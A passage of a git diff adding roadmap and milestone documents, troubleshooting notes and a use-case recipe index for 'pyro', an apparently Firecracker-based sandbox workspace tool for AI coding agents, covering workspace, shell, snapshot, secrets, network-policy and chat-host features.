always separate content from summaries cleanly, even when the file lacks a
trailing newline
## Implementation Boundaries
- keep JSON output unchanged
- keep human-readable summary lines by default
- `--content-only` should print only the file content and no summary footer
- keep current regular-file-only constraints for live and stopped-disk reads
## Non-Goals
- no new binary dumping contract
- no removal of human summaries from the default read path
- no expansion into a generic pager or TUI reader
- no change to SDK or MCP structured read results, which are already summary-free
## Acceptance Scenarios
- reading a text file with no trailing newline still produces a clean transcript
- a user can explicitly request content-only output for copy-paste or shell
piping
- docs can show both summary mode and content-only mode without caveats about
messy output joining
## Required Repo Updates
- CLI help text updated for file and disk read commands
- stable docs and transcripts revised to use `--content-only` where it improves
readability
- tests that cover missing trailing newline cases in human mode

View file

@ -0,0 +1,55 @@
# `4.0.0` Workspace-Core Default Profile
Status: Done
## Goal
Make the default MCP entrypoint match the product's recommended chat-first path
instead of preserving a wider compatibility surface by default.
## Public API Changes
This is an intentional breaking default change for the next major release:
- `pyro mcp serve` should default to `workspace-core`
- `create_server()` should default to `profile="workspace-core"`
- `Pyro.create_server()` should default to `profile="workspace-core"`
The full advanced surface remains available through explicit opt-in:
- `pyro mcp serve --profile workspace-full`
- `create_server(profile="workspace-full")`
- `Pyro.create_server(profile="workspace-full")`
## Implementation Boundaries
- keep all three profile names unchanged
- do not remove `workspace-full`
- make the default flip explicit in docs, changelog, help text, and migration
notes
- keep bare `vm-run` available as the smallest one-shot profile
## Non-Goals
- no silent removal of advanced workspace capabilities
- no attempt to infer a profile from the client name
- no `3.x` backport that changes the current default behavior
## Acceptance Scenarios
- a bare `pyro mcp serve` command now exposes the recommended narrow profile
- a bare `create_server()` or `Pyro.create_server()` call matches that same
default
- advanced hosts can still opt into `workspace-full` explicitly with no loss of
functionality
- docs no longer need to explain that the recommended path and the default path
are different
## Required Repo Updates
- help text, public contract, README, install docs, and integrations docs
revised to reflect the new default
- migration note explaining the default change and the explicit
`workspace-full` opt-in path
- examples audited so they only mention `--profile workspace-core` when the
explicitness is useful rather than compensating for the old default

View file

@ -0,0 +1,56 @@
# `4.1.0` Project-Aware Chat Startup
Status: Done
## Goal
Make "current repo to disposable sandbox" the default story for the narrowed
chat-host user, without requiring manual workspace seeding choreography first.
## Public API Changes
The chat entrypoint should gain one documented project-aware startup path:
- `pyro mcp serve` should accept an explicit local project source, such as the
current checkout
- the product path should optionally support a clean-clone source, such as a
repo URL, when the user is not starting from a local checkout
- the first useful chat turn should not depend on manually teaching
`workspace create ... --seed-path ...` before the host can do real work
Exact flag names can still change, but the product needs one obvious "use this
repo" path and one obvious "start from that repo" path.
## Implementation Boundaries
- keep host crossing explicit; do not silently mutate the user's checkout
- prefer local checkout seeding first, because that is the most natural daily
chat path
- preserve existing explicit sync, export, diff, and reset primitives rather
than inventing a hidden live-sync layer
- keep the startup story compatible with the existing `workspace-core` product
path
## Non-Goals
- no generic SCM integration platform
- no background multi-repo workspace manager
- no always-on bidirectional live sync between host checkout and guest
## Acceptance Scenarios
- from a repo root, a user can connect Claude Code, Codex, or OpenCode and the
first workspace starts from that repo without extra terminal choreography
- from outside a repo checkout, a user can still start from a documented clean
source such as a repo URL
- the README and install docs can teach a repo-aware chat flow before the
manual terminal workspace flow
## Required Repo Updates
- README, install docs, first-run docs, integrations docs, and public contract
updated to show the repo-aware chat startup path
- help text updated so the repo-aware startup path is visible from `pyro` and
`pyro mcp serve --help`
- at least one recipe and one real smoke scenario updated to validate the new
startup story

View file

@ -0,0 +1,53 @@
# `4.2.0` Host Bootstrap And Repair
Status: Done
## Goal
Make supported chat hosts feel one-command to connect and easy to repair when a
local config drifts or the product changes shape.
## Public API Changes
The CLI should grow a small host-helper surface for the supported chat hosts:
- `pyro host connect claude-code`
- `pyro host connect codex`
- `pyro host print-config opencode`
- `pyro host doctor`
- `pyro host repair HOST`
The exact names can still move, but the product needs a first-class bootstrap
and repair path for Claude Code, Codex, and OpenCode.
## Implementation Boundaries
- host helpers should wrap the same `pyro mcp serve` entrypoint rather than
introduce per-host runtime behavior
- config changes should remain inspectable and predictable
- support both installed-package and `uvx`-style usage where that materially
reduces friction
- keep the host helper story narrow to the current supported hosts
## Non-Goals
- no GUI installer or onboarding wizard
- no attempt to support every possible MCP-capable editor or chat shell
- no hidden network service or account-based control plane
## Acceptance Scenarios
- a new Claude Code or Codex user can connect `pyro` with one command
- an OpenCode user can print or materialize a correct config without hand-writing
JSON
- a user with a stale or broken local host config can run one repair or doctor
flow instead of debugging MCP setup manually
## Required Repo Updates
- new host-helper docs and examples for all supported chat hosts
- README, install docs, and integrations docs updated to prefer the helper
flows when available
- help text updated with exact connect and repair commands
- runnable verification or smoke coverage that proves the shipped host-helper
examples stay current

View file

@ -0,0 +1,54 @@
# `4.3.0` Reviewable Agent Output
Status: Done
## Goal
Make it easy for a human to review what the agent actually did inside the
sandbox without manually reconstructing the session from diffs, logs, and raw
artifacts.
## Public API Changes
The product should expose a concise workspace review surface, for example:
- `pyro workspace summary WORKSPACE_ID`
- `workspace_summary` on the MCP side
- structured JSON plus a short human-readable summary view
The summary should cover the things a chat-host user cares about:
- commands run
- files changed
- diff or patch summary
- services started
- artifacts exported
- final workspace outcome
## Implementation Boundaries
- prefer concise review surfaces over raw event firehoses
- keep raw logs, diffs, and exported files available as drill-down tools
- summarize only the sandbox activity the product can actually observe
- make the summary good enough to paste into a chat, bug report, or PR comment
## Non-Goals
- no full compliance or audit product
- no attempt to summarize the model's hidden reasoning
- no remote storage backend for session history
## Acceptance Scenarios
- after a repro-fix or review-eval run, a user can inspect one summary and
understand what changed and what to review next
- the summary is useful enough to accompany exported patches or artifacts
- unsafe-inspection and review-eval flows become easier to trust because the
user can review agent-visible actions in one place
## Required Repo Updates
- public contract, help text, README, and recipe docs updated with the new
summary path
- at least one host-facing example showing how to ask for or export the summary
- at least one real smoke scenario validating the review surface end to end

View file

@ -0,0 +1,56 @@
# `4.4.0` Opinionated Use-Case Modes
Status: Done
## Goal
Stop making chat-host users think in terms of one giant workspace surface and
let them start from a small mode that matches the job they want the agent to do.
## Public API Changes
The chat entrypoint should gain named use-case modes, for example:
- `pyro mcp serve --mode repro-fix`
- `pyro mcp serve --mode inspect`
- `pyro mcp serve --mode cold-start`
- `pyro mcp serve --mode review-eval`
Modes should narrow the product story by selecting the right defaults for:
- tool surface
- workspace bootstrap behavior
- docs and example prompts
- expected export and review outputs
Parallel workspace use should come from opening more than one named workspace
inside the same mode, not from introducing a scheduler or queue abstraction.
## Implementation Boundaries
- build modes on top of the existing `workspace-core` and `workspace-full`
capabilities instead of inventing separate backends
- keep the mode list short and mapped to the documented use cases
- make modes visible from help text, host helpers, and recipe docs together
- let users opt out to the generic workspace path when the mode is too narrow
## Non-Goals
- no user-defined mode DSL
- no hidden host-specific behavior for the same mode name
- no CI-style pipelines, matrix builds, or queueing abstractions
## Acceptance Scenarios
- a new user can pick one mode and avoid reading the full workspace surface
before starting
- the documented use cases map cleanly to named entry modes
- parallel issue or PR work feels like "open another workspace in the same
mode", not "submit another job"
## Required Repo Updates
- help text, README, install docs, integrations docs, and use-case recipes
updated to teach the named modes
- host-specific setup docs updated so supported hosts can start in a named mode
- at least one smoke scenario proving a mode-specific happy path end to end

View file

@ -0,0 +1,57 @@
# `4.5.0` Faster Daily Loops
Status: Done
## Goal
Make the day-to-day chat-host loop feel cheap enough that users reach for it
for normal work, not only for special high-isolation tasks.
## Public API Changes
The product now adds an explicit fast-path for repeated local use:
- `pyro prepare [ENVIRONMENT] [--network] [--force] [--json]`
- `pyro doctor --environment ENVIRONMENT` daily-loop readiness output
- `make smoke-daily-loop` to prove the warmed machine plus reset/retry story
The exact command names can still move, but the user-visible story needs to be:
- set the machine up once
- reconnect quickly
- create or reset a workspace cheaply
- keep iterating without redoing heavy setup work
## Implementation Boundaries
- optimize local-first loops on one machine before thinking about remote
execution
- focus on startup, create, reset, and retry latency rather than queue
throughput
- keep the fast path compatible with the repo-aware startup story and the
supported chat hosts
- prefer explicit caching and prewarm semantics over hidden long-running
daemons
## Non-Goals
- no cloud prewarm service
- no scheduler or queueing layer
- no daemon requirement for normal daily use
## Acceptance Scenarios
- after the first setup, entering the chat-host path again does not feel like
redoing the whole product onboarding
- reset and retry become cheap enough to recommend as the default repro-fix
workflow
- docs can present `pyro` as a daily coding-agent tool, not only as a special
heavy-duty sandbox
## Required Repo Updates
- docs now show the recommended daily-use fast path
- diagnostics and help text now show whether the machine is already warm and
ready
- the repo now includes `make smoke-daily-loop` as a repeat-loop verification
scenario for the daily workflow

View file

@ -0,0 +1,55 @@
# `4.6.0` Git-Tracked Project Sources
Status: Planned
## Goal
Make repo-root startup and `--project-path` robust for messy real checkouts by
stopping the default chat-host path from trying to ingest every readable and
unreadable file in the working tree.
## Public API Changes
Project-aware startup should change its default local source semantics:
- bare `pyro mcp serve` from inside a Git checkout should seed from Git-tracked
files only
- `pyro mcp serve --project-path PATH` should also use Git-tracked files only
when `PATH` is inside a Git checkout
- `--repo-url` remains the clean-clone path when the user wants a host-side
clone instead of the local checkout
- explicit `workspace create --seed-path PATH` remains unchanged in this
milestone
## Implementation Boundaries
- apply the new semantics only to project-aware startup sources, not every
explicit directory seed
- do not silently include ignored or untracked junk in the default chat-host
path
- preserve explicit diff, export, sync push, and reset behavior
- surface the chosen project source clearly enough that users know what the
sandbox started from
## Non-Goals
- no generic SCM abstraction layer
- no silent live sync between the host checkout and the guest
- no change to explicit archive seeding semantics in this milestone
## Acceptance Scenarios
- starting `pyro mcp serve` from a repo root no longer fails on unreadable
build artifacts or ignored runtime byproducts
- starting from `--project-path` inside a Git repo behaves the same way
- users can predict that the startup source matches the tracked project state
rather than the entire working tree
## Required Repo Updates
- README, install docs, integrations docs, and public contract updated to state
what local project-aware startup actually includes
- help text updated to distinguish project-aware startup from explicit
`--seed-path` behavior
- at least one guest-backed smoke scenario added for a repo with ignored,
generated, and unreadable files

View file

@ -0,0 +1,50 @@
# `4.7.0` Project Source Diagnostics And Recovery
Status: Planned
## Goal
Make project-source selection and startup failures understandable enough that a
chat-host user can recover without reading internals or raw tracebacks.
## Public API Changes
The chat-host path should expose clearer project-source diagnostics:
- `pyro doctor` should report the active project-source kind and its readiness
- `pyro mcp serve` and host helpers should explain whether they are using
tracked local files, `--project-path`, `--repo-url`, or no project source
- startup failures should recommend the right fallback:
`--project-path`, `--repo-url`, `--no-project-source`, or explicit
`seed_path`
## Implementation Boundaries
- keep diagnostics focused on the chat-host path rather than inventing a broad
source-management subsystem
- prefer actionable recovery guidance over long implementation detail dumps
- make project-source diagnostics visible from the same surfaces users already
touch: help text, `doctor`, host helpers, and startup errors
## Non-Goals
- no generic repo-health audit product
- no attempt to auto-fix arbitrary local checkout corruption
- no host-specific divergence in project-source behavior
## Acceptance Scenarios
- a user can tell which project source the chat host will use before creating a
workspace
- a user who hits a project-source failure gets a concrete recovery path instead
of a raw permission traceback
- host helper doctor and repair flows can explain project-source problems, not
only MCP config problems
## Required Repo Updates
- docs, help text, and troubleshooting updated with project-source diagnostics
and fallback guidance
- at least one smoke or targeted CLI test covering the new failure guidance
- host-helper docs updated to show when to prefer `--project-path`,
`--repo-url`, or `--no-project-source`

View file

@ -0,0 +1,52 @@
# `4.8.0` First-Class Chat Environment Selection
Status: Planned
## Goal
Make curated environment choice part of the normal chat-host path so full
project work is not implicitly tied to one default environment.
## Public API Changes
Environment selection should become first-class in the chat-host path:
- `pyro mcp serve` should accept an explicit environment
- `pyro host connect` should accept and preserve an explicit environment
- `pyro host print-config` and `pyro host repair` should preserve the selected
environment where relevant
- named modes should be able to recommend a default environment when one is
better for the workflow, without removing explicit user choice
## Implementation Boundaries
- keep environment selection aligned with the existing curated environment
catalog
- avoid inventing host-specific environment behavior for the same mode
- keep the default environment path simple for the quickest evaluator flow
- ensure the chosen environment is visible from generated config, help text, and
diagnostics
## Non-Goals
- no custom user-built environment pipeline in this milestone
- no per-host environment negotiation logic
- no attempt to solve arbitrary dependency installation through environment
sprawl alone
## Acceptance Scenarios
- a user can choose a build-oriented environment such as `debian:12-build`
before connecting the chat host
- host helpers, raw server startup, and printed configs all preserve the same
environment choice
- docs can teach whole-project development without pretending every project fits
the same default environment
## Required Repo Updates
- README, install docs, integrations docs, public contract, and host examples
updated to show environment selection in the chat-host path
- help text updated for raw server startup and host helpers
- at least one guest-backed smoke scenario updated to prove a non-default
environment in the chat-host flow

View file

@ -0,0 +1,52 @@
# `4.9.0` Real-Repo Qualification Smokes
Status: Planned
## Goal
Replace fixture-only confidence with guest-backed proof that the chat-host path
works against messy local repos and clean-clone startup sources.
## Public API Changes
No new runtime surface is required in this milestone. The main additions are
qualification smokes and their supporting fixtures.
The new coverage should prove:
- repo-root startup from a local Git checkout with ignored, generated, and
unreadable files
- `--repo-url` clean-clone startup
- a realistic install, test, patch, rerun, and export loop
- at least one nontrivial service-start or readiness loop
## Implementation Boundaries
- keep the smoke pack guest-backed and deterministic enough to use as a release
gate
- focus on realistic repo-shape and project-loop problems, not synthetic
micro-feature assertions
- prefer a small number of representative project fixtures over a large matrix
of toy repos
## Non-Goals
- no promise to qualify every language ecosystem in one milestone
- no cloud or remote execution qualification layer
- no broad benchmark suite beyond what is needed to prove readiness
## Acceptance Scenarios
- the repo has one clear smoke target for real-repo qualification
- at least one local-checkout smoke proves the new Git-tracked startup behavior
- at least one clean-clone smoke proves the `--repo-url` path
- failures in these smokes clearly separate project-source issues from runtime
or host issues
## Required Repo Updates
- new guest-backed smoke targets and any supporting fixtures
- roadmap, use-case docs, and release/readiness docs updated to point at the
new qualification path
- troubleshooting updated with the distinction between shaped use-case smokes
and real-repo qualification smokes

View file

@ -0,0 +1,53 @@
# `5.0.0` Whole-Project Sandbox Development
Status: Planned
## Goal
Reach the point where it is credible to tell a user they can develop a real
project inside sandboxes, not just validate, inspect, or patch one.
## Public API Changes
No new generic VM breadth is required here. This milestone should consolidate
the earlier pieces into one believable full-project product story:
- robust project-aware startup
- explicit environment selection in the chat-host path
- summaries, reset, export, and service workflows that hold up during longer
work loops
- qualification targets that prove a nontrivial development cycle
## Implementation Boundaries
- keep the product centered on the chat-host workspace path rather than a broad
CLI or SDK platform story
- use the existing named modes and generic workspace path where they fit, but
teach one end-to-end full-project development walkthrough
- prioritize daily development credibility over adding new low-level sandbox
surfaces
## Non-Goals
- no attempt to become a generic remote dev environment platform
- no scheduler, queue, or CI matrix abstractions
- no claim that every possible project type is equally well supported
## Acceptance Scenarios
- the docs contain one end-to-end “develop a project in sandboxes” walkthrough
- that walkthrough covers dependency install, tests, patching, reruns, review,
and export, with app/service startup when relevant
- at least one guest-backed qualification target proves the story on a
nontrivial project
- the readiness docs can honestly say whole-project development is supported
with explicit caveats instead of hedged aspirational language
## Required Repo Updates
- README, install docs, integrations docs, use-case docs, and public contract
updated to include the whole-project development story
- at least one walkthrough asset or transcript added for the new end-to-end
path
- readiness and troubleshooting docs updated with the actual supported scope and
remaining caveats

View file

@ -0,0 +1,50 @@
# Task Workspace GA Roadmap
This roadmap turns the agent-workspace vision into release-sized milestones.
Current baseline is `3.1.0`:
- workspace persistence exists and the public surface is now workspace-first
- host crossing currently covers create-time seeding, later sync push, and explicit export
- persistent PTY shell sessions exist alongside one-shot `workspace exec`
- immutable create-time baselines now power whole-workspace diff
- multi-service lifecycle exists with typed readiness and aggregate workspace status counts
- named snapshots and full workspace reset now exist
- explicit secrets now exist for guest-backed workspaces
- explicit workspace network policy and localhost published service ports now exist
Locked roadmap decisions:
- no backward compatibility goal for the current `task_*` naming
- workspace-first naming lands first, before later features
- snapshots are real named snapshots, not only reset-to-baseline
Every milestone below must update CLI, SDK, and MCP together. Each milestone is
also expected to update:
- `README.md`
- install/first-run docs
- `docs/public-contract.md`
- help text and runnable examples
- at least one real Firecracker smoke scenario
## Milestones
1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done
2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done
3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done
4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done
5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done
6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done
7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done
8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done
9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done
## Roadmap Status
The planned workspace roadmap is complete.
- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without
changing the stable workspace-first core contract.
- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and
focus on making the stable workspace product feel trivial from chat-driven LLM interfaces.

View file

@ -0,0 +1,45 @@
# `2.10.0` Network Policy And Host Port Publication
Status: Done
## Goal
Replace the coarse current network toggle with an explicit workspace network
policy and make services host-probeable through controlled published ports.
## Public API Changes
- `workspace create` gains explicit network policy instead of a simple boolean
- `workspace service start` gains published-port configuration
- `workspace service status/list` returns published-port information
Recommended policy model:
- `off`
- `egress`
- `egress+published-ports`
## Implementation Boundaries
- Host port publication is localhost-only by default.
- Ports remain attached to services, not generic VM networking.
- Published-port details are queryable from CLI, SDK, and MCP.
- Keep network access explicit and visible in the workspace spec.
## Non-Goals
- no remote exposure defaults
- no advanced ingress routing
- no general-purpose networking product surface
## Acceptance Scenarios
- start a service, wait for readiness, probe it from the host, inspect logs,
then stop it
- keep a workspace fully offline and confirm no implicit network access exists
## Required Repo Updates
- docs that show app validation from the host side
- examples that use typed readiness plus localhost probing
- real Firecracker smoke for published-port probing

View file

@ -0,0 +1,72 @@
# `2.4.0` Workspace Contract Pivot
Status: Done
## Goal
Make the public product read as a workspace-first sandbox instead of a
task-flavored alpha by replacing the `task_*` surface with `workspace_*`.
## Public API Changes
- CLI:
- `pyro workspace create`
- `pyro workspace sync push`
- `pyro workspace exec`
- `pyro workspace status`
- `pyro workspace logs`
- `pyro workspace delete`
- SDK:
- `create_workspace`
- `push_workspace_sync`
- `exec_workspace`
- `status_workspace`
- `logs_workspace`
- `delete_workspace`
- MCP:
- `workspace_create`
- `workspace_sync_push`
- `workspace_exec`
- `workspace_status`
- `workspace_logs`
- `workspace_delete`
Field renames:
- `task_id` -> `workspace_id`
- `source_path` on create -> `seed_path`
- `task.json` / `tasks/` -> `workspace.json` / `workspaces/`
No compatibility aliases. Remove `task_*` from the public contract in the same
release.
## Implementation Boundaries
- Keep current behavior intact under the new names:
- persistent workspace creation
- create-time seed
- sync push
- exec/status/logs/delete
- Rename public result payloads and CLI help text to workspace language.
- Move on-disk persisted records to `workspaces/` and update rehydration logic
accordingly.
- Update examples, docs, and tests to stop using task terminology.
## Non-Goals
- no shell sessions yet
- no export, diff, services, snapshots, reset, or secrets in this release
- no attempt to preserve old CLI/SDK/MCP names
## Acceptance Scenarios
- create a seeded workspace, sync host changes into it, exec inside it, inspect
status/logs, then delete it
- the same flow works from CLI, SDK, and MCP with only workspace-first names
- one-shot `pyro run` remains unchanged
## Required Repo Updates
- replace task language in README/install/first-run/public contract/help
- update runnable examples to use `workspace_*`
- add one real Firecracker smoke for create -> sync push -> exec -> delete

View file

@ -0,0 +1,65 @@
# `2.5.0` PTY Shell Sessions
Status: Done
## Goal
Add persistent interactive shells so an agent can inhabit a workspace instead
of only submitting one-shot `workspace exec` calls.
## Public API Changes
- CLI:
- `pyro workspace shell open`
- `pyro workspace shell read`
- `pyro workspace shell write`
- `pyro workspace shell signal`
- `pyro workspace shell close`
- SDK:
- `open_shell`
- `read_shell`
- `write_shell`
- `signal_shell`
- `close_shell`
- MCP:
- `shell_open`
- `shell_read`
- `shell_write`
- `shell_signal`
- `shell_close`
Core shell identity:
- `workspace_id`
- `shell_id`
- PTY size
- working directory
- running/stopped state
## Implementation Boundaries
- Shells are persistent PTY sessions attached to one workspace.
- Output buffering is append-only with cursor-based reads so callers can poll
incrementally.
- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by
`workspace delete`.
- Keep `workspace exec` as the non-interactive path; do not merge the two
models.
## Non-Goals
- no terminal UI beyond structured shell I/O
- no service lifecycle changes in this milestone
- no export/diff/snapshot/reset changes yet
## Acceptance Scenarios
- open a shell, write commands, read output in chunks, send SIGINT, then close
- reopen a new shell in the same workspace after closing the first one
- delete a workspace with an open shell and confirm the shell is cleaned up
## Required Repo Updates
- shell-focused example in CLI, SDK, and MCP docs
- help text that explains shell vs exec clearly
- real Firecracker smoke for open -> write -> read -> signal -> close

View file

@ -0,0 +1,49 @@
# `2.6.0` Structured Export And Baseline Diff
Status: Done
## Goal
Complete the next explicit host-crossing step by letting a workspace export
files back to the host and diff itself against its immutable create-time
baseline.
## Public API Changes
- CLI:
- `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH`
- `pyro workspace diff WORKSPACE_ID`
- SDK:
- `export_workspace`
- `diff_workspace`
- MCP:
- `workspace_export`
- `workspace_diff`
## Implementation Boundaries
- Capture a baseline snapshot at `workspace create`.
- `workspace diff` compares current `/workspace` against that baseline.
- `workspace export` exports files or directories only from paths under
`/workspace`.
- Keep output structured:
- unified patch text for text files
- summary entries for binary or type changes
## Non-Goals
- no named snapshots yet
- no reset yet
- no export outside `/workspace`
## Acceptance Scenarios
- seed workspace, mutate files, diff against baseline, export a file to host
- sync push content after create, then confirm diff reports the synced changes
- unchanged workspace returns an empty diff summary cleanly
## Required Repo Updates
- docs that distinguish seed, sync push, diff, and export
- example showing reproduce -> mutate -> diff -> export
- real Firecracker smoke for diff and export

View file

@ -0,0 +1,52 @@
# `2.7.0` Service Lifecycle And Typed Readiness
Status: Done
## Goal
Make app-style workspaces practical by adding first-class services and typed
readiness checks.
## Public API Changes
- CLI:
- `pyro workspace service start`
- `pyro workspace service list`
- `pyro workspace service status`
- `pyro workspace service logs`
- `pyro workspace service stop`
- SDK/MCP mirror the same shape
Readiness types:
- file
- TCP
- HTTP
- command as an escape hatch
## Implementation Boundaries
- Support multiple named services per workspace from the first release.
- Service state and logs live outside `/workspace`.
- `workspace status` stays aggregate; detailed service inspection lives under
`workspace service ...`.
- Prefer typed readiness in docs/examples instead of shell-heavy readiness
commands.
## Non-Goals
- no host-visible port publication yet
- no secrets or auth wiring in this milestone
- no shell/service unification
## Acceptance Scenarios
- start two services in one workspace, wait for readiness, inspect logs and
status, then stop them cleanly
- service files do not appear in `workspace diff` or `workspace export`
## Required Repo Updates
- cold-start validation example that uses services
- CLI help/examples for typed readiness
- real Firecracker smoke for multi-service start/status/logs/stop

View file

@ -0,0 +1,44 @@
# `2.8.0` Named Snapshots And Reset
Status: Done
## Goal
Turn reset into a first-class workflow primitive and add explicit named
snapshots, not only the implicit create-time baseline.
## Public API Changes
- CLI:
- `pyro workspace snapshot create`
- `pyro workspace snapshot list`
- `pyro workspace snapshot delete`
- `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]`
- SDK/MCP mirrors
## Implementation Boundaries
- Baseline snapshot is created automatically at workspace creation.
- Named snapshots are explicit user-created checkpoints.
- `workspace reset` recreates the full sandbox, not just `/workspace`.
- Reset may target either the baseline or a named snapshot.
## Non-Goals
- no secrets in this milestone
- no live host-sharing or mount semantics
- no branching/merge workflow on snapshots
## Acceptance Scenarios
- mutate workspace, create named snapshot, mutate again, reset to snapshot,
confirm state restoration
- mutate service and `/tmp` state, reset to baseline, confirm full sandbox
recreation
- diff after reset is clean when expected
## Required Repo Updates
- docs that teach reset over repair explicitly
- example showing baseline reset and named snapshot reset
- real Firecracker smoke for snapshot create -> mutate -> reset

View file

@ -0,0 +1,43 @@
# `2.9.0` Secrets
Status: Done
## Goal
Add explicit secrets so workspaces can handle private dependencies,
authenticated startup, and secret-aware shell or exec flows without weakening
the fail-closed sandbox model.
## Public API Changes
- `workspace create` gains secrets
- `workspace exec`, `workspace shell open`, and `workspace service start` gain
per-call secret-to-env mapping
- SDK and MCP mirror the same model
## Implementation Boundaries
- Support literal secrets and host-file-backed secrets.
- Materialize secrets outside `/workspace`.
- Secret values never appear in status, logs, diffs, or exports.
- Reset recreates secrets from persisted secret material, not from the original
host source path.
## Non-Goals
- no post-create secret editing
- no secret listing beyond safe metadata
- no mount-based secret transport
## Acceptance Scenarios
- create a workspace with a literal secret and a file-backed secret
- run exec and shell flows with mapped env vars
- start a service that depends on a secret-backed readiness path
- confirm redaction in command, shell, and service output
## Required Repo Updates
- docs for private dependency workflows
- explicit redaction tests
- real Firecracker smoke for secret-backed exec or service start

View file

@ -0,0 +1,39 @@
# `3.0.0` Stable Workspace Product
Status: Done
## Goal
Freeze the workspace-first public contract and promote the product from a
one-shot runner with extras to a stable agent workspace.
## Public API Changes
No new capability is required in this milestone. The main change is stability:
- workspace-first names are the only public contract
- shell, sync, export, diff, services, snapshots, reset, secrets, and network
policy are all part of the stable product surface
## Implementation Boundaries
- remove remaining beta/alpha language from workspace docs
- rewrite landing docs so the workspace product is first-class and `pyro run`
is the entry point rather than the center
- lock the stable contract in `docs/public-contract.md`
## Non-Goals
- no new secondary tooling
- no job-runner, queue, or CI abstractions
## Acceptance Scenarios
- all core vision workflows are documented and runnable from CLI, SDK, and MCP
- the repo no longer presents the workspace model as provisional
## Required Repo Updates
- top-level README repositioning around the workspace product
- stable public contract doc for `3.x`
- changelog entry that frames the workspace product as stable

View file

@ -0,0 +1,62 @@
# `3.1.0` Secondary Disk Tools
Status: Done
## Goal
Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary
to the stable workspace identity.
## Public API Changes
Shipped additions:
- `pyro workspace stop WORKSPACE_ID`
- `pyro workspace start WORKSPACE_ID`
- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH`
- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]`
- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]`
- matching Python SDK methods:
- `stop_workspace`
- `start_workspace`
- `export_workspace_disk`
- `list_workspace_disk`
- `read_workspace_disk`
- matching MCP tools:
- `workspace_stop`
- `workspace_start`
- `workspace_disk_export`
- `workspace_disk_list`
- `workspace_disk_read`
## Implementation Boundaries
- keep these tools scoped to stopped-workspace inspection, export, and offline workflows
- do not replace shell, exec, services, diff, export, or reset as the main
interaction model
- prefer explicit stopped-workspace or offline semantics
- require guest-backed workspaces for `workspace disk *`
- keep disk export raw ext4 only in this milestone
- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
`/run/pyro-services` before offline inspection or export
## Non-Goals
- no drift into generic image tooling identity
- no replacement of workspace-level host crossing
- no disk import
- no disk mutation
- no create-from-disk workflow
## Acceptance Scenarios
- inspect or export a stopped workspace disk for offline analysis
- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace
again without resetting `/workspace`
- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection
## Required Repo Updates
- docs that clearly mark disk tools as secondary
- examples that show when disk tools are faster than a full boot
- real smoke coverage for at least one offline inspection flow

View file

@ -20,6 +20,29 @@ pyro env pull debian:12
If you are validating a freshly published official environment, also verify that the corresponding
Docker Hub repository is public.
`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle.
End-user `pyro env pull` should work without setting it.
## `pyro run` fails closed before the command executes
Cause:
- the bundled runtime cannot boot a guest
- guest boot works but guest exec is unavailable
- you are using a mock or shim runtime path that only supports host compatibility mode
Fix:
```bash
pyro doctor
```
If you intentionally want host execution for a one-off compatibility run, rerun with:
```bash
pyro run --allow-host-compat debian:12 -- git --version
```
## `pyro run --network` fails before the guest starts
Cause:
@ -48,7 +71,8 @@ Cause:
Fix:
- reinstall the package
- verify `pyro doctor` reports `runtime_ok: true`
- verify `pyro doctor` reports `Runtime: PASS`
- or run `pyro doctor --json` and verify `runtime_ok: true`
- if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull`
## Ollama demo exits with tool-call failures

38
docs/use-cases/README.md Normal file
View file

@ -0,0 +1,38 @@
# Workspace Use-Case Recipes
These recipes turn the chat-host workspace path into five concrete agent flows.
They are the canonical next step after the quickstart in [install.md](../install.md)
or [first-run.md](../first-run.md).
Run all real guest-backed scenarios locally with:
```bash
make smoke-use-cases
```
Recipe matrix:
| Use case | Recommended mode | Smoke target | Recipe |
| --- | --- | --- | --- |
| Cold-start repo validation | `cold-start` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) |
| Repro plus fix loop | `repro-fix` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) |
| Parallel isolated workspaces | `repro-fix` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) |
| Unsafe or untrusted code inspection | `inspect` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) |
| Review and evaluation workflows | `review-eval` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) |
All five recipes use the same real Firecracker-backed smoke runner:
```bash
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12
```
That runner generates its own host fixtures, creates real guest-backed workspaces,
verifies the intended flow, exports one concrete result when relevant, and cleans
up on both success and failure. Treat `make smoke-use-cases` as the trustworthy
guest-backed verification path for the advertised workspace workflows.
For a concise review before exporting, resetting, or handing work off, use:
```bash
pyro workspace summary WORKSPACE_ID
```

View file

@ -0,0 +1,36 @@
# Cold-Start Repo Validation
Recommended mode: `cold-start`
Recommended startup:
```bash
